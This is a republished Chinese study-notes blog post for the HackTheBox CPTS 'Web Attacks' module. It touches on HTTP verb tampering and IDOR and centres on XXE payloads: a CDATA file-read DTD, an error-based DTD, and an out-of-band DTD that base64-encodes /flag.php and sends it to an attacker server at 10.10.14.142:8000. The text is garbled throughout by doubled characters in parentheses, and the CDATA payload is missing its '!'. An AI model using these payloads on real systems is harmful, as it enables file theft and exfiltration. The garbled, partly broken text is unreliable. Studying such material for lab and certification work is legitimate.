Web Attacks
本模塊涵蓋三種常見的 Web 漏洞,即 HTTP 動(dòng)詞篡改、IDOR 和 XXE,每個(gè)漏洞都可能對(duì)公司的系統(tǒng)產(chǎn)生重大影響。我們將介紹如何通過各種方法識(shí)別、利用和防止它們中的每一個(gè)。
HTTP HEAD/GET/POST/PUT/OPTIONS
IDOR尋找
一般能夠從前端js找到調(diào)用的js代碼
XXE - CDATA
對(duì)于非php的其他后端語言,我們想要嘗試直接讀取后端代碼可以嘗試使用CDATA,它會(huì)作為原始數(shù)據(jù)輸出而不是被處理
xxe.dtd:
<!ENTITY p "%begin;%file;%end;">
這里調(diào)用參數(shù)實(shí)體,將文件包含在CDATA內(nèi)輸出
<!DOCTYPE xxx [
<!ENTITY % begin "<[CDATA[">
<!ENTITY % file SYSTEM "file:///index.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://IP:PORT/xxe.dtd">
%xxe;
]>
<xxx>&p;</xxx>
這里需要使用參數(shù)實(shí)體,當(dāng)參數(shù)實(shí)體在我們托管的dtd文件中引用時(shí),參數(shù)實(shí)體將會(huì)被視為外部實(shí)體,這樣就可以繞過限制,從而讓外部實(shí)體與內(nèi)部實(shí)體的CDATA連接
基于error的半盲XXE
上面的xxe都是因?yàn)橛心硞€(gè)特定的參數(shù)會(huì)作為結(jié)果輸出,但在沒有輸出的情況下,上面的方法是不可行的,我們可以嘗試blind
當(dāng)嘗試使用未定義的tag或者實(shí)體的時(shí)候可能會(huì)引發(fā)error,如果后端未正確處理異常導(dǎo)致異常拋出,那么我們將能看到異常輸出并嘗試?yán)?/p>
xxe.dtd:
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % xxe "<!ENTITY content SYSTEM '%file;'>">
<!DOCTYPE email [
<!ENTITY % dtd SYSTEM "http://10.10.14.142:8000/xxe.dtd">
%dtd;
%xxe;
]>
這里通過參數(shù)實(shí)體來引入dtd當(dāng)%xxe;被執(zhí)行后,%xxe;會(huì)創(chuàng)建一個(gè)新的一般實(shí)體,而這個(gè)一般實(shí)體又引用了%file;(這里也可以使用不存在的實(shí)體進(jìn)行引發(fā)錯(cuò)誤,至少有一個(gè)錯(cuò)誤); %file;讀取的文件中作為&content;這個(gè)一般實(shí)體的值,由于這個(gè)值會(huì)被解析,只要文件中存在一些特殊字符,一旦被xml解釋器解析后將可能引發(fā)錯(cuò)誤,這就是為什么我們這個(gè)例子也會(huì)引發(fā)錯(cuò)誤的原因
如果讀取的文件中沒有什么東西會(huì)引發(fā)錯(cuò)誤,那么我們就需要手動(dòng)引發(fā)錯(cuò)誤:調(diào)用不存在的實(shí)體
<!ENTITY % xxe "<!ENTITY content SYSTEM '%ENTITY;%file;'>">
帶外全盲XXE
全盲只是沒有任何輸出包括error。其實(shí)從半盲我們可以看得出,我們通過dtd的參數(shù)實(shí)體來訪問文件
<!ENTITY % xxe "<!ENTITY content SYSTEM '%file;'>">
我們可以通過http協(xié)議發(fā)起遠(yuǎn)程文件訪問,同時(shí)將我們想要訪問的目標(biāo)文件通過http請(qǐng)求攜帶過來
xxe.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.php">
<!ENTITY % xxe "<!ENTITY content SYSTEM 'http://10.10.14.142:8000/?file=%file;'>">
跟半盲的基于錯(cuò)誤的xxe差不多,不過這次%xxe;參數(shù)實(shí)體創(chuàng)建一個(gè)一般實(shí)體,當(dāng)我們調(diào)用這個(gè)實(shí)體的時(shí)候?qū)?huì)攜帶我們讀取的文件內(nèi)容,發(fā)送http請(qǐng)求到我們的攻擊者服務(wù)器
<!DOCTYPE email [
<!ENTITY % dtd SYSTEM "http://10.10.14.142:8000/xxe.dtd">
%dtd;
%xxe;
]>
<email>&content;</email>
這次我們需要手動(dòng)調(diào)用這個(gè)外部實(shí)體文章來源:http://www.zghlxwxcb.cn/news/detail-511827.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-511827.html
到了這里,關(guān)于HackTheBox - 學(xué)院【CPTS】復(fù)習(xí)4 - Web Attacks的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!